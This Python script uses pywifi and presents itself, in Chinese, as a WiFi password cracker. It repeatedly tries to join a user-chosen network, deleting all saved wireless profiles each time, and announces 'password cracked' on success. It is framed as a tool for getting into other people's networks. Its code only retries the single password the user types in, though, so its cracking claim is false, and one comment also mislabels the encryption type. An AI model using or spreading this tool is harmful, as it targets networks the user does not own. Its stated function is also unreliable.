import pywifi
from pywifi import const
import time
import datetime


# 测试连接，返回链接结果
def wifiConnect(wifi_ssid, pwd, ifaces):
    # 断开所有连接
    ifaces.disconnect()
    # time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile = pywifi.Profile()
        # 要连接WiFi的名称
        profile.ssid = wifi_ssid
        # 网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 调用密码
        profile.key = pwd
        # 删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi连接时间
        time.sleep(0.5)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")


def BuildRound():
    success = False
    print("****************** WIFI破解 ******************")
    start = datetime.datetime.now()
    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    try:
        ifaces = wifi.interfaces()[0]
        wifi_ssid = input("请输入要连接的wifi名称：")  # 输入要进行暴力破解的wifi名称
        wifi_pwd = input("输入要进行暴力破解的wifi密码，输入错误的密码才会一直去破解：")  # 输入要进行暴力破解的wifi密码，输入错误的密码
        times = int(input(
            "输入要进行暴力破解的wifi次数，建议为500次,APP会在四百次左右的时候提示："))  # 输入要进行暴力破解的wifi次数，建议为500次,APP会在四百次左右的时候提示
    except:
        print("\n提示：未获取到无线网卡")
        input("\n\n输入回车用来关闭程序")
        exit(0)

    i = 0
    while True:
        try:
            bool = wifiConnect(wifi_ssid, wifi_pwd, ifaces)
            if bool:
                print("[*] 密码已破解：", wifi_pwd)
                print("[*] WiFi已自动连接！！！")
                success = True
                break
            else:
                # 跳出当前循环，进行下一次循环
                print(time.ctime() + "    尝试连接第%d次" % (i + 1))
        except:
            continue
        i = i + 1
        if i == times: break
    end = datetime.datetime.now()
    if (success):
        print("[*] 本次破解WIFI密码一共用了多长时间：{}".format(end - start))
    else:
        print("[*] 本次破解WIFI密码一共用了多长时间：{}".format(end - start))
    input("\n\n\n输入回车用来关闭程序")
    exit(0)


if __name__ == "__main__":
    BuildRound()
    # 打包成exe pyinstaller -F wifi.py
